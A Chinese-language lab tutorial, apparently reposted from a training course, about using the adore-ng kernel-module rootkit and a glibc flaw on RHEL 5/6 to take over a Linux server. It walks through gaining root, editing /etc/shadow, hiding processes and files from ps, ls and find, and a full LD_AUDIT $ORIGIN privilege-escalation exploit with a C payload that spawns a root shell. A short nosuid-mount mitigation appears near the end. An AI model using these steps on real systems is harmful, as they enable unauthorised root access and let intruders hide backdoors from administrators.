通过rootkit隐蔽行踪 Linux提权
每天必問必答:
***1.每天在學什么?
***2.學了有什么用?
***3.工作中如何用?
心得:一定要把實驗出錯的地方、原因、解決方案都總結到筆記上。筆記一定要自己寫的詳細些!
服務端:xuegod63.cn IP:192.168.1.63
客戶端:xuegod64.cn IP:192.168.1.64
本節所講內容:
? 通過rootkit隱蔽行蹤
? Linux提權
實戰:rootkit隱蔽行蹤-Linux提權
可以:1 。 你可能聽不懂:。 風格:1 。 深度: ok?
上傳 *** -》 獲得普通權限-》 提權 -》 留后門 rootkit隱蔽行蹤
1、通過rootkit隱蔽行蹤:提權,隱藏進程號,隱藏文件
rootkit : Linux***。
LKM: LKM英文是:Loadable Kernel Modules,翻譯過來就是“可加載內核模塊程序”,
這是一種區別于一般應用程序的系統級程序,它主要用于擴展linux的內核功能。
LKM可以動態地加載到內存中,無須重新編譯內核。由于LKM具有這樣的特點,所以它經常被用于一些設備的驅動程序,例如聲卡,網卡等等。
聲卡驅動現在運行著?運行。
這個聲卡驅動的進程在哪? 很難找到
如果我的***程序以模塊運行?
安裝: adore-ng (rootkit其中一種)
adore 崇拜 [??d?:(r)]
官網:https://github.com/trimpsyw/adore-ng
實戰:通過rootkit隱蔽行蹤:提權,隱藏進程號,隱藏文件
安裝:
[root@xuegod63 ~]# unzip adore-ng-master.zip
[root@xuegod63 ~]# cd adore-ng-master
[root@xuegod63 adore-ng-master]# rpm -ivh /mnt/Packages/kernel-devel-2.6.32-220.el6.x86_64.rpm
[root@xuegod63 adore-ng-master]# make
[root@xuegod63 adore-ng-master]# insmod adore-ng.ko #加載模塊
測試,查看幫助:
[root@xuegod63 adore-ng-master]# ./ava
Usage: ./ava {h,u,r,R,i,v,U} [file or PID]
測試:準備環境,創建一個普通用戶于測試。然后在普通用戶上,通過ava命令,提權后,以root身份運行一個進程。
提權:提高自己在服務器中的權限,主要針對網站***過程中,當***某一網站時,通過各種漏洞提升WEBSHELL權限以奪得該服務器超級管理員權限。
[root@xuegod63 ~]# useradd mk
[root@xuegod63 ~]# echo 123456 | passwd --stdin mk
Changing password for user mk.
passwd: all authentication tokens updated successfully.
例1: 通過ava命令提權。讓普通用戶mk可以獲得root權限
[root@xuegod63 adore-ng-master]# cp -r /root/adore-ng-master /tmp/
[root@xuegod63 adore-ng-master]# chmod 777 /tmp/adore-ng-master/ -R
[root@xuegod63 adore-ng-master]# ssh mk@192.168.1.63 #以普通帳號登錄
[mk@xuegod63 ~]$ cd /tmp/adore-ng-master/
[mk@xuegod63 adore-ng-master]$ pwd
/tmp/adore-ng-master
[mk@xuegod63 adore-ng-master]$ ./ava I #查看基本信息,能彈出以下信息說明程序運行正常
56,500,500,56
Adore 1.56 installed. Good luck.
ELITE_UID: 2618748389, ELITE_GID=4063569279, ADORE_KEY=fgjgggfd CURRENT_ADORE=56
實戰: r 選項: execute as root #以root身份運行程序
[mk@xuegod63 adore-ng-master]$ ll /etc/shadow
---------- 1 root root 1071 Apr 7 10:17 /etc/shadow
[mk@xuegod63 adore-ng-master]$ vim /etc/shadow
[mk@xuegod63 adore-ng-master]$ ./ava r vim /etc/shadow #編輯時,可以寫入一些內容,測試是否可以正常寫入
查看修改成功:
[root@xuegod63 ~]# vim /etc/shadow
另外,在別一個終端上查看,此進程的用戶身份:
[root@xuegod63 ~]# ps -axu | grep shadow
Warning: bad syntax, perhaps a bogus '-'? See /usr/share/doc/procps-3.2.7/FAQ
root 6874 0.1 0.1 10216 2924 pts/3 S+ 04:12 0:00 /usr/bin/vim /etc/shadow
root 6879 0.0 0.0 4024 692 pts/2 S+ 04:12 0:00 grep shadow
留后門,不讓人看見?
實戰2: 隱藏進程。 隱藏你的***程序
模擬一個***程序:
[mk@xuegod63 adore-ng-master]$ cat a.sh
#!/bin/bash
sleep 2000
[mk@xuegod63 adore-ng-master]$ chmod +x a.sh
[mk@xuegod63 adore-ng-master]$ ./a.sh &
查看:
[root@xuegod63 ~]# ps -axu | grep a.sh
Warning: bad syntax, perhaps a bogus '-'? See /usr/share/doc/procps-3.2.8/FAQ
mk 6339 0.0 0.1 106148 1184 pts/3 S 10:32 0:00 /bin/bash ./a.sh
隱藏進程
[mk@xuegod63 adore-ng-master]$ ./ava i 6339 #隱藏進程
56,500,500,56
Adore 1.56 installed. Good luck.
Made PID 6339 invisible.
[root@xuegod63 ~]# ps -axu | grep a.sh #查看
Warning: bad syntax, perhaps a bogus '-'? See /usr/share/doc/procps-3.2.8/FAQ
root 10225 0.0 0.0 103300 852 pts/4 S+ 22:54 0:00 grep a.sh
實戰3: 隱藏文件
[mk@xuegod63 adore-ng-master]$ mkdir test
[mk@xuegod63 adore-ng-master]$ cd test/
[mk@xuegod63 test]$ echo aaaa > a.php
[mk@xuegod63 test]$ ls -a
. .. a.php
隱藏文件
[mk@xuegod63 test]$ /tmp/adore-ng-master/ava h a.php
56,500,500,56
Adore 1.56 installed. Good luck.
File 'a.php' is now hidden.
查看:
[mk@localhost test]$ ls -a
. ..
[mk@xuegod63 test]$ cat a.php
aaaa
嘗試:查找最近被的修改的文件
[mk@xuegod63 test]$ touch b.php
[mk@xuegod63 test]$ ls
b.php
[mk@xuegod63 test]$ find ./ -mtime -2
./
./b.php #找不到出來
有沒有辦法查看到a.php : 沒有。 除非把rootkit***程序關了
恢復出來:
[mk@xuegod63 test]$ /tmp/adore-ng-master/ava u a.php
56,500,500,56
Adore 1.56 installed. Good luck.
File 'a.php' is now visible.
[mk@xuegod63 test]$ ls -a
. .. a.php
總結:
1、通過rootkit提權
2、通過rootkit隱藏***進程號
3、通過rootkit隱藏***文件
創建一個讓root用戶 都刪除不了的***文件
[root@xuegod63 ~]# lsattr b.txt
----i--------e- b.txt
[root@xuegod63 ~]# chattr -i b.txt
[root@xuegod63 ~]# rm -rf b.txt
實戰2: Linux下普通用戶提權
提權:你聽不懂。 聽深度,后期自己能做出來效果就可以
提權: 從普通用戶提升到root權限
注:RHEL5 到RHEL6.0 32位操作系統和64位操作系統都存在以下漏洞。
利用glibc庫的漏洞,提權。
以一個普通用戶登錄
[root@xuegod63 ~]# su - mk
[mk@xuegod63 ~]$
suid : 當用戶執行時命令a時,會以命令a的擁有者身份運行此命令。
[mk@xuegod63 ~]$ cd /tmp/
[hello@localhost tmp]$ ls -ld /tmp/
drwxrwxrwt 11 root root 4096 10-14 21:29 /tmp/
[hello@localhost tmp]$ cd /tmp/
[hello@localhost tmp]$ mkdir exploit //隨便在tmp目錄下創建一個文件夾exploit:利用
[mk@localhost adore-ng]$ ll /bin/ping
-rwsr-xr-x 1 root root 35832 Apr 24 2009 /bin/ping
[hello@localhost tmp]$ ln /bin/ping /tmp/exploit/target //創建/bin/ping 的一個硬鏈接,硬鏈接的名隨便起
[hello@localhost tmp]$ exec 3< /tmp/exploit/target
[hello@localhost tmp]$ ls -l /proc/$$/fd/3
lr-x------ 1 hello hello 64 10-20 09:30 /proc/10990/fd/3 -> /tmp/exploit/target
[hello@localhost tmp]$ rm -fr /tmp/exploit/
[hello@localhost tmp]$ ls -l /proc/$$/fd/3 //查看鏈接已經被刪除
lr-x------ 1 hello hello 64 10-20 09:30 /proc/10990/fd/3 -> /tmp/exploit/target (deleted)
[hello@localhost tmp]$ cat payload.c //寫一個C語言程序
void attribute((constructor)) init()
{
setuid(0);
system("/bin/bash");
}
[hello@localhost tmp]$ gcc -w -fPIC -shared -o /tmp/exploit payload.c //編譯C程序
[hello@localhost tmp]$ ls -l /tmp/exploit
-rwxrwxr-x 1 hello hello 4223 10-20 09:32 /tmp/exploit
[mk@xuegod63 tmp]$ whoami
mk
[hello@localhost tmp]$ LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
[root@localhost tmp]# whoami
root
在RHEL6.1嘗試時,前面幾條命令都可以執行成功,在執行最后這條命令時報以下錯誤,并直接使用普通用戶退出登錄。
提示:對像$ORIGIN不能被作為審計接口加載
無法打開共享文件ject ;忽略
解決方法:
對 777 的目錄做如下操作 , 可以控制你提權的 . 比如 /tmp
mount -o bind,nosuid /tmp /tmp
還需要把用戶的家目錄也用上面的方法打上補丁:
[root@xuegod63 ~]# mount -o bind,nosuid /home/mk /home/mk
修改就不行了,執行ln命令時提示以下錯誤。
[root@xuegod63 ~]# su - mk
[mk@xuegod63 ~]$ ln /bin/ping /tmp/ping
ln: creating hard link /tmp/ping' =>/bin/ping': Invalid cross-device link
#報錯,創建硬鏈接時,報錯,無效的跨設備連接
注:查找權限是777的文件夾:
root@xuegod63 ~]# find / -perm -777 -type d
/var/tmp
/dev/.mdadm
/dev/.udev
/dev/.udev/rules.d
/dev/shm
find: /proc/9346/task/9346/fd/5': No such file or directory<br/>find:/proc/9346/task/9346/fdinfo/5': No such file or directory
find: /proc/9346/fd/5': No such file or directory<br/>find:/proc/9346/fdinfo/5': No such file or directory
/tmp
/tmp/VMwareDnD
/tmp/.ICE-unix
/tmp/.X11-unix
普通用戶的家目錄 /home/普通用戶
注:
-perm mode:文件權限正好符合mode
-perm +mode:文件權限部分符合mode
-perm -mode: 文件權限完全符合mode
總結:
1、通過rootkit提權
2、通過rootkit隱藏進程號
3、通過rootkit隱藏文件
實戰2: Linux下普通用戶提權
轉載于:https://blog.51cto.com/pwgan/2084491
總結
以上是生活随笔為你收集整理的通过rootkit隐蔽行踪 Linux提权的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 关于PingPong缓冲的困惑
- 下一篇: 【毕业设计】plc 水果采摘机械臂 --